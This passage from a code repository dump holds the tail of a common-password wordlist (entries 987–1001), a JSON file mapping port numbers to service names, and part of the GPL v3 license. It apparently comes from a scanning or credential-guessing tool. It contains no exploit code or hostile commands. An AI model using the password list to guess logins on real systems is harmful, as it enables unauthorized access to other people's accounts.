dodgers 987 | pakistan 988 | machine 989 | pyramid 990 | vegeta 991 | katana 992 | moose 993 | tinker 994 | coyote 995 | infinity 996 | inside 997 | pepsi 998 | letmein1 999 | bang 1000 | control 1001 | -------------------------------------------------------------------------------- /utils/common_ports.json: -------------------------------------------------------------------------------- 1 | { 2 | "1": "tcpmux", 3 | "3": "compressnet", 4 | "7": "echo", 5 | "9": "discard", 6 | "13": "daytime", 7 | "17": "qotd", 8 | "19": "chargen", 9 | "20": "ftp-data", 10 | "21": "ftp", 11 | "22": "ssh", 12 | "23": "telnet", 13 | "25": "smtp", 14 | "33": "dsp", 15 | "37": "time", 16 | "42": "nameserver", 17 | "43": "nicname", 18 | "49": "tacacs", 19 | "53": "domain", 20 | "70": "gopher", 21 | "79": "finger", 22 | "80": "www-http", 23 | "82": "xfer", 24 | "83": "mit-ml-dev", 25 | "84": "ctf", 26 | "85": "mit-ml-dev", 27 | "88": "kerberos", 28 | "89": "su-mit-tg", 29 | "90": "dnsix", 30 | "99": "metagram", 31 | "106": "3com-tsmux", 32 | "109": "pop2", 33 | "110": "pop3", 34 | "111": "sunrpc", 35 | "113": "auth", 36 | "119": "nntp", 37 | "125": "locus-map", 38 | "135": "epmap", 39 | "139": "netbios-ssn", 40 | "143": "imap", 41 | "144": "uma", 42 | "146": "iso-tp0", 43 | "161": "snmp", 44 | "163": "cmip-man", 45 | "179": "bgp", 46 | "199": "smux", 47 | "211": "914c/g", 48 | "212": "anet", 49 | "222": "rsh-spx", 50 | "256": "rap", 51 | "259": "esro-gen", 52 | "264": "bgmp", 53 | "280": "http-mgmt", 54 | "311": "asip-webadmin", 55 | "366": "odmr", 56 | "389": "ldap", 57 | "406": "imsp", 58 | "407": "timbuktu", 59 | "416": "silverplatter", 60 | "417": "onmux", 61 | "425": "icad-el", 62 | "427": "svrloc", 63 | "443": "https", 64 | "444": "snpp", 65 | "445": "microsoft-ds", 66 | "458": "appleqtc", 67 | "464": "kpasswd", 68 | "465": "submissions", 69 | "481": "ph", 70 | "497": "retrospect", 71 | "500": "isakmp", 72 | "512": "exec", 73 | "513": "login", 74 | "514": "shell", 75 | "515": "printer", 76 | "524": "ncp", 77 | "541": "uucp-rlogin", 78 | "543": "klogin", 79 | "544": "kshell", 80 | "545": "appleqtcsrvr", 81 | "548": "afpovertcp", 82 | "554": "rtsp", 83 | "555": "dsf", 84 | "563": "nntps", 85 | "587": "submission", 86 | "593": "http-rpc-epmap", 87 | "616": "sco-sysmgr", 88 | "617": "sco-dtmgr", 89 | "625": "dec_dlm", 90 | "631": "ipps", 91 | "636": "ldaps", 92 | "646": "ldp", 93 | "648": "rrp", 94 | "666": "doom", 95 | "667": "disclose", 96 | "668": "mecomm", 97 | "683": "corba-iiop", 98 | "687": "asipregistry", 99 | "691": "msexch-routing", 100 | "700": "epp", 101 | "705": "agentx", 102 | "711": "cisco-tdp", 103 | "714": "iris-xpcs", 104 | "749": "kerberos-adm", 105 | "765": "webster", 106 | "777": "multiling-http", 107 | "800": "mdbs_daemon", 108 | "801": "device", 109 | "873": "rsync", 110 | "888": "cddbp", 111 | "900": "omginitialrefs", 112 | "901": "smpnameres", 113 | "902": "ideafarm-door", 114 | "903": "ideafarm-panic", 115 | "911": "xact-backup", 116 | "912": "apex-mesh", 117 | "990": "ftps", 118 | "992": "telnets", 119 | "993": "imaps", 120 | "995": "pop3s", 121 | "999": "puprouter", 122 | "1000": "cadlock2", 123 | "1001": "webpush", 124 | "1010": "surf", 125 | "1021": "exp1", 126 | "1022": "exp2", 127 | "1025": "blackjack", 128 | "1026": "cap", 129 | "1029": "solid-mux", 130 | "1033": "netinfo-local", 131 | "1034": "activesync", 132 | "1035": "mxxrlogin", 133 | "1036": "nsstp", 134 | "1037": "ams", 135 | "1038": "mtqp", 136 | "1039": "sbl", 137 | "1040": "netarx", 138 | "1041": "danf-ak2", 139 | "1042": "afrog", 140 | "1043": "boinc-client", 141 | "1044": "dcutility", 142 | "1045": "fpitp", 143 | "1046": "wfremotertm", 144 | "1047": "neod1", 145 | "1048": "neod2", 146 | "1049": "td-postman", 147 | "1050": "cma", 148 | "1051": "optima-vnet", 149 | "1052": "ddt", 150 | "1053": "remote-as", 151 | "1054": "brvread", 152 | "1055": "ansyslmd", 153 | "1056": "vfo", 154 | "1057": "startron", 155 | "1058": "nim", 156 | "1059": "nimreg", 157 | "1060": "polestar", 158 | "1061": "kiosk", 159 | "1062": "veracity", 160 | "1063": "kyoceranetdev", 161 | "1064": "jstel", 162 | "1065": "syscomlan", 163 | "1066": "fpo-fns", 164 | "1067": "instl_boots", 165 | "1068": "instl_bootc", 166 | "1069": "cognex-insight", 167 | "1070": "gmrupdateserv", 168 | "1071": "bsquare-voip", 169 | "1072": "cardax", 170 | "1073": "bridgecontrol", 171 | "1074": "warmspotMgmt", 172 | "1075": "rdrmshc", 173 | "1076": "dab-sti-c", 174 | "1077": "imgames", 175 | "1078": "avocent-proxy", 176 | "1079": "asprovatalk", 177 | "1080": "socks", 178 | "1081": "pvuniwien", 179 | "1082": "amt-esd-prot", 180 | "1083": "ansoft-lm-1", 181 | "1084": "ansoft-lm-2", 182 | "1085": "webobjects", 183 | "1086": "cplscrambler-lg", 184 | "1087": "cplscrambler-in", 185 | "1088": "cplscrambler-al", 186 | "1089": "ff-annunc", 187 | "1090": "ff-fms", 188 | "1091": "ff-sm", 189 | "1092": "obrpd", 190 | "1093": "proofd", 191 | "1094": "rootd", 192 | "1095": "nicelink", 193 | "1096": "cnrprotocol", 194 | "1097": "sunclustermgr", 195 | "1098": "rmiactivation", 196 | "1099": "rmiregistry", 197 | "1100": "mctp", 198 | "1102": "adobeserver-1", 199 | "1104": "xrl", 200 | "1105": "ftranhc", 201 | "1106": "isoipsigport-1", 202 | "1107": "isoipsigport-2", 203 | "1108": "ratio-adp", 204 | "1110": "webadmstart", 205 | "1111": "lmsocialserver", 206 | "1112": "icp", 207 | "1113": "ltp-deepspace", 208 | "1114": "mini-sql", 209 | "1117": "ardus-mtrns", 210 | "1119": "bnetgame", 211 | "1121": "rmpp", 212 | "1122": "availant-mgr", 213 | "1123": "murray", 214 | "1124": "hpvmmcontrol", 215 | "1126": "hpvmmdata", 216 | "1130": "casp", 217 | "1131": "caspssl", 218 | "1132": "kvm-via-ip", 219 | "1137": "trim", 220 | "1138": "encrypted_admin", 221 | "1141": "mxomss", 222 | "1145": "x9-icue", 223 | "1147": "capioverlan", 224 | "1148": "elfiq-repl", 225 | "1149": "bvtsonar", 226 | "1151": "unizensus", 227 | "1152": "winpoplanmess", 228 | "1154": "resacommunity", 229 | "1163": "sddp", 230 | "1164": "qsm-proxy", 231 | "1165": "qsm-gui", 232 | "1166": "qsm-remote", 233 | "1169": "tripwire", 234 | "1174": "fnet-remote-ui", 235 | "1175": "dossier", 236 | "1183": "llsurfup-http", 237 | "1185": "catchpole", 238 | "1186": "mysql-cluster", 239 | "1187": "alias", 240 | "1192": "caids-sensor", 241 | "1198": "cajo-discovery", 242 | "1199": "dmidi", 243 | "1201": "nucleus-sand", 244 | "1213": "mpc-lifenet", 245 | "1216": "etebac5", 246 | "1217": "hpss-ndapi", 247 | "1218": "aeroflight-ads", 248 | "1233": "univ-appserver", 249 | "1234": "search-agent", 250 | "1236": "bvcontrol", 251 | "1244": "isbconference1", 252 | "1247": "visionpyramid", 253 | "1248": "hermes", 254 | "1259": "opennl-voice", 255 | "1271": "excw", 256 | "1272": "cspmlockmgr", 257 | "1277": "miva-mqs", 258 | "1287": "routematch", 259 | "1296": "dproxy", 260 | "1300": "h323hostcallsc", 261 | "1309": "jtag-server", 262 | "1310": "husky", 263 | "1311": "rxmon", 264 | "1322": "novation", 265 | "1328": "ewall", 266 | "1334": "writesrv", 267 | "1352": "lotusnote", 268 | "1417": "timbuktu-srv1", 269 | "1433": "ms-sql-s", 270 | "1434": "ms-sql-m", 271 | "1443": "ies-lm", 272 | "1455": "esl-lm", 273 | "1461": "ibm_wrless_lan", 274 | "1494": "ica", 275 | "1500": "vlsi-lm", 276 | "1501": "saiscm", 277 | "1503": "imtc-mcs", 278 | "1521": "ncube-lm", 279 | "1524": "ingreslock", 280 | "1533": "virtual-places", 281 | "1556": "veritas_pbx", 282 | "1580": "tn-tl-r1", 283 | "1583": "simbaexpress", 284 | "1594": "sixtrak", 285 | "1600": "issd", 286 | "1641": "invision", 287 | "1658": "sixnetudr", 288 | "1666": "netview-aix-6", 289 | "1687": "nsjtp-ctrl", 290 | "1688": "nsjtp-data", 291 | "1700": "mps-raft", 292 | "1717": "fj-hdnet", 293 | "1718": "h323gatedisc", 294 | "1719": "h323gatestat", 295 | "1720": "h323hostcall", 296 | "1721": "caicci", 297 | "1723": "pptp", 298 | "1755": "ms-streaming", 299 | "1761": "cft-0", 300 | "1782": "hp-hcip", 301 | "1801": "msmq", 302 | "1805": "enl-name", 303 | "1812": "radius", 304 | "1839": "netopia-vo1", 305 | "1840": "netopia-vo2", 306 | "1862": "mysql-cm-agent", 307 | "1863": "msnp", 308 | "1864": "paradym-31port", 309 | "1875": "westell-stats", 310 | "1900": "ssdp", 311 | "1914": "elm-momentum", 312 | "1935": "macromedia-fcs", 313 | "1947": "sentinelsrm", 314 | "1971": "netop-school", 315 | "1972": "intersys-cache", 316 | "1974": "drp", 317 | "1984": "bb", 318 | "1998": "x25-svc-port", 319 | "1999": "tcp-id-port", 320 | "2000": "cisco-sccp", 321 | "2001": "dc", 322 | "2002": "globe", 323 | "2003": "brutus", 324 | "2004": "mailbox", 325 | "2005": "berknet", 326 | "2006": "invokator", 327 | "2007": "dectalk", 328 | "2008": "conf", 329 | "2009": "news", 330 | "2010": "search", 331 | "2013": "raid-am", 332 | "2020": "xinupageserver", 333 | "2021": "servexec", 334 | "2022": "down", 335 | "2030": "device2", 336 | "2033": "glogger", 337 | "2034": "scoremgr", 338 | "2035": "imsldoc", 339 | "2038": "objectmanager", 340 | "2040": "lam", 341 | "2041": "interbase", 342 | "2042": "isis", 343 | "2043": "isis-bcast", 344 | "2045": "cdfunc", 345 | "2046": "sdfunc", 346 | "2047": "dls", 347 | "2048": "dls-monitor", 348 | "2049": "nfs", 349 | "2065": "dlsrpn", 350 | "2068": "avauthsrvprtcl", 351 | "2099": "h2250-annex-g", 352 | "2100": "amiganetfs", 353 | "2103": "zephyr-clt", 354 | "2105": "minipay", 355 | "2106": "mzap", 356 | "2107": "bintec-admin", 357 | "2111": "dsatp", 358 | "2119": "gsigatekeeper", 359 | "2121": "scientia-ssdb", 360 | "2126": "pktcable-cops", 361 | "2135": "gris", 362 | "2144": "lv-ffx", 363 | "2160": "apc-2160", 364 | "2161": "apc-2161", 365 | "2170": "eyetv", 366 | "2179": "vmrdp", 367 | "2190": "tivoconnect", 368 | "2191": "tvbus", 369 | "2222": "EtherNet/IP-1", 370 | "2251": "dif-port", 371 | "2260": "apc-2260", 372 | "2288": "netml", 373 | "2301": "cpq-wbem", 374 | "2323": "3d-nfsd", 375 | "2366": "qip-login", 376 | "2381": "compaq-https", 377 | "2382": "ms-olap3", 378 | "2383": "ms-olap4", 379 | "2393": "ms-olap1", 380 | "2394": "ms-olap2", 381 | "2399": "fmpro-fdal", 382 | "2401": "cvspserver", 383 | "2492": "groove", 384 | "2500": "rtsserv", 385 | "2522": "windb", 386 | "2525": "ms-v-worlds", 387 | "2557": "nicetec-mgmt", 388 | "2601": "discp-client", 389 | "2602": "discp-server", 390 | "2604": "nsc-ccs", 391 | "2605": "nsc-posa", 392 | "2607": "connection", 393 | "2608": "wag-service", 394 | "2638": "sybaseanywhere", 395 | "2701": "sms-rcinfo", 396 | "2702": "sms-xfer", 397 | "2710": "sso-service", 398 | "2717": "pn-requester", 399 | "2718": "pn-requester2", 400 | "2725": "msolap-ptp2", 401 | "2800": "acc-raid", 402 | "2809": "corbaloc", 403 | "2811": "gsiftp", 404 | "2869": "icslap", 405 | "2875": "dxmessagebase2", 406 | "2909": "funk-dialout", 407 | "2910": "tdaccess", 408 | "2920": "roboeda", 409 | "2967": "ssc-agent", 410 | "2968": "enpp", 411 | "2998": "realsecure", 412 | "3000": "remoteware-cl", 413 | "3001": "origo-native", 414 | "3003": "cgms", 415 | "3005": "geniuslm", 416 | "3006": "ii-admin", 417 | "3007": "lotusmtap", 418 | "3011": "trusted-web", 419 | "3013": "gilatskysurfer", 420 | "3017": "event_listener", 421 | "3030": "arepa-cas", 422 | "3031": "eppc", 423 | "3052": "apc-3052", 424 | "3071": "xplat-replicate", 425 | "3077": "orbix-loc-ssl", 426 | "3128": "ndl-aas", 427 | "3168": "poweronnud", 428 | "3211": "avsecuremgmt", 429 | "3221": "xnm-clear-text", 430 | "3260": "iscsi-target", 431 | "3261": "winshadow", 432 | "3268": "msft-gc", 433 | "3269": "msft-gc-ssl", 434 | "3283": "Apple Remote Desktop (Net Assistant)", 435 | "3300": "ceph", 436 | "3306": "mysql", 437 | "3333": "dec-notes", 438 | "3351": "btrieve", 439 | "3372": "tip2", 440 | "3389": "ms-wbt-server", 441 | "3390": "dsc", 442 | "3476": "nppmp", 443 | "3493": "nut", 444 | "3517": "802-11-iapp", 445 | "3527": "beserver-msg-q", 446 | "3551": "apcupsd", 447 | "3580": "nati-svrloc", 448 | "3659": "apple-sasl", 449 | "3689": "daap", 450 | "3690": "svn", 451 | "3703": "adobeserver-3", 452 | "3737": "xpanel", 453 | "3766": "sitewatch-s", 454 | "3784": "bfd-control", 455 | "3800": "pwgpsi", 456 | "3801": "ibm-mgr", 457 | "3809": "apocd", 458 | "3814": "neto-dcs", 459 | "3826": "warmux", 460 | "3827": "netmpi", 461 | "3828": "neteh", 462 | "3851": "spectraport", 463 | "3869": "ovsam-mgmt", 464 | "3871": "avocent-adsap", 465 | "3878": "fotogcad", 466 | "3880": "igrs", 467 | "3889": "dandv-tester", 468 | "3905": "mupdate", 469 | "3914": "listcrt-port-2", 470 | "3918": "pktcablemmcops", 471 | "3920": "exasoftport1", 472 | "3945": "emcads", 473 | "3971": "lanrevserver", 474 | "3986": "mapper-ws_ethd", 475 | "3995": "iss-mgmt-ssl", 476 | "3998": "dnx", 477 | "4000": "terabase", 478 | "4001": "newoak", 479 | "4002": "pxc-spvr-ft", 480 | "4003": "pxc-splr-ft", 481 | "4004": "pxc-roid", 482 | "4005": "pxc-pin", 483 | "4006": "pxc-spvr", 484 | "4045": "npp", 485 | "4111": "xgrid", 486 | "4125": "opsview-envoy", 487 | "4126": "ddrepl", 488 | "4129": "nuauth", 489 | "4321": "rwhois", 490 | "4343": "unicall", 491 | "4443": "pharos", 492 | "4444": "nv-video", 493 | "4445": "upnotifyp", 494 | "4446": "n1-fwp", 495 | "4449": "privatewire", 496 | "4550": "gds-adppiw-db", 497 | "4567": "tram", 498 | "4662": "oms", 499 | "4848": "appserv-http", 500 | "4899": "radmin-port", 501 | "4900": "hfcs", 502 | "5000": "commplex-main", 503 | "5001": "commplex-link", 504 | "5002": "rfe", 505 | "5003": "fmpro-internal", 506 | "5004": "avt-profile-1", 507 | "5009": "winfs", 508 | "5030": "surfpass", 509 | "5033": "jtnetd-server", 510 | "5050": "mmcc", 511 | "5051": "ita-agent", 512 | "5054": "rlm-admin", 513 | "5060": "sip", 514 | "5061": "sips", 515 | "5080": "onscreen", 516 | "5087": "biotic", 517 | "5100": "socalia", 518 | "5101": "talarian-tcp", 519 | "5102": "oms-nonsecure", 520 | "5120": "barracuda-bbs", 521 | "5190": "aol", 522 | "5200": "targus-getdata", 523 | "5221": "3exmp", 524 | "5222": "xmpp-client", 525 | "5225": "hp-server", 526 | "5226": "hp-status", 527 | "5269": "xmpp-server", 528 | "5280": "xmpp-bosh", 529 | "5298": "presence", 530 | "5357": "wsdapi", 531 | "5405": "netsupport", 532 | "5414": "statusd", 533 | "5431": "park-agent", 534 | "5432": "postgresql", 535 | "5500": "fcp-addr-srvr1", 536 | "5550": "cbus", 537 | "5555": "personal-agent", 538 | "5566": "westec-connect", 539 | "5631": "pcanywheredata", 540 | "5633": "beorl", 541 | "5666": "nrpe", 542 | "5678": "rrac", 543 | "5679": "dccm", 544 | "5718": "dpm", 545 | "5730": "unieng", 546 | "5859": "wherehoo", 547 | "5900": "rfb", 548 | "5910": "cm", 549 | "5911": "cpdlc", 550 | "5963": "indy", 551 | "5987": "wbem-rmi", 552 | "5988": "wbem-http", 553 | "5989": "wbem-https", 554 | "5999": "cvsup", 555 | "6000": "x11", 556 | "6100": "synchronet-db", 557 | "6101": "synchronet-rtc", 558 | "6106": "mpsserver", 559 | "6112": "dtspcd", 560 | "6123": "backup-express", 561 | "6346": "gnutella-svc", 562 | "6389": "clariion-evr01", 563 | "6502": "boks_servm", 564 | "6510": "mcer-port", 565 | "6543": "lds-distrib", 566 | "6547": "apc-6547", 567 | "6566": "sane-port", 568 | "6580": "parsec-master", 569 | "6669": "ircu", 570 | "6689": "tsa", 571 | "6788": "smc-http", 572 | "6789": "radg", 573 | "6901": "jetstream", 574 | "6969": "acmsoda", 575 | "7000": "afs3-fileserver", 576 | "7001": "afs3-callback", 577 | "7002": "afs3-prserver", 578 | "7004": "afs3-kaserver", 579 | "7007": "afs3-bos", 580 | "7019": "doceri-ctl", 581 | "7025": "vmsvc-2", 582 | "7070": "arcp", 583 | "7100": "font-service", 584 | "7200": "fodms", 585 | "7201": "dlip", 586 | "7402": "rtps-dd-mt", 587 | "7443": "oracleas-https", 588 | "7627": "soap-http", 589 | "7676": "imqbrokerd", 590 | "7741": "scriptview", 591 | "7777": "cbt", 592 | "7778": "interwise", 593 | "7800": "asr", 594 | "7999": "irdmi2", 595 | "8000": "irdmi", 596 | "8001": "vcom-tunnel", 597 | "8002": "teradataordbms", 598 | "8007": "warppipe", 599 | "8008": "http-alt", 600 | "8009": "nvme-disc", 601 | "8021": "intu-ec-client", 602 | "8022": "oa-system", 603 | "8042": "fs-agent", 604 | "8080": "http-alt", 605 | "8081": "sunproxyadmin", 606 | "8082": "us-cli", 607 | "8083": "us-srv", 608 | "8084": "websnp", 609 | "8086": "d-s-n", 610 | "8087": "simplifymedia", 611 | "8088": "radan-http", 612 | "8090": "opsmessaging", 613 | "8100": "xprint-server", 614 | "8181": "intermapper", 615 | "8192": "spytechphone", 616 | "8194": "blp1", 617 | "8200": "trivnet1", 618 | "8292": "blp3", 619 | "8300": "tmi", 620 | "8383": "m2mservices", 621 | "8400": "cvd", 622 | "8402": "abarsd", 623 | "8443": "pcsync-https", 624 | "8500": "fmtp", 625 | "8600": "asterix", 626 | "8800": "sunwebadmin", 627 | "8873": "dxspider", 628 | "8888": "ddi-tcp-1", 629 | "8899": "ospf-lite", 630 | "9000": "cslistener", 631 | "9001": "etlservicemgr", 632 | "9002": "dynamid", 633 | "9009": "pichat", 634 | "9010": "sdr", 635 | "9050": "versiera", 636 | "9080": "glrpc", 637 | "9090": "websm", 638 | "9091": "xmltec-xmlmail", 639 | "9100": "pdl-datastream", 640 | "9101": "bacula-dir", 641 | "9102": "bacula-fd", 642 | "9103": "bacula-sd", 643 | "9111": "hexxorecore", 644 | "9200": "wap-wsp", 645 | "9207": "wap-vcal-s", 646 | "9418": "git", 647 | "9500": "ismserver", 648 | "9535": "mngsuite", 649 | "9593": "cba8", 650 | "9594": "msgsys", 651 | "9595": "pds", 652 | "9618": "condor", 653 | "9666": "zoomcp", 654 | "9876": "sd", 655 | "9877": "x510", 656 | "9898": "monkeycom", 657 | "9900": "iua", 658 | "9998": "distinct32", 659 | "9999": "distinct", 660 | "10000": "ndmp", 661 | "10001": "scp-config", 662 | "10002": "documentum", 663 | "10003": "documentum_s", 664 | "10004": "emcrmirccd", 665 | "10009": "swdtp-sv", 666 | "10010": "rxapi", 667 | "11110": "sgi-soap", 668 | "11111": "vce", 669 | "11967": "sysinfo-sp", 670 | "12000": "entextxid", 671 | "12345": "italk", 672 | "13722": "bpjava-msvc", 673 | "13782": "bpcd", 674 | "13783": "vopied", 675 | "14000": "scotty-ft", 676 | "15000": "hydap", 677 | "15002": "onep-tls", 678 | "15660": "bex-xr", 679 | "16000": "fmsas", 680 | "16001": "fmsascon", 681 | "16992": "amt-soap-http", 682 | "16993": "amt-soap-https", 683 | "19283": "keysrvr", 684 | "19315": "keyshadow", 685 | "20000": "dnp", 686 | "20005": "openwebnet", 687 | "20222": "ipulse-ics", 688 | "30000": "ndmps", 689 | "32768": "filenet-tms", 690 | "32769": "filenet-rpc", 691 | "32770": "filenet-nch", 692 | "32771": "filenet-rmi", 693 | "32772": "filenet-pa", 694 | "32773": "filenet-cm", 695 | "32774": "filenet-re", 696 | "32775": "filenet-pch", 697 | "32776": "filenet-peior", 698 | "32777": "filenet-obrok", 699 | "42510": "caerpc" 700 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the 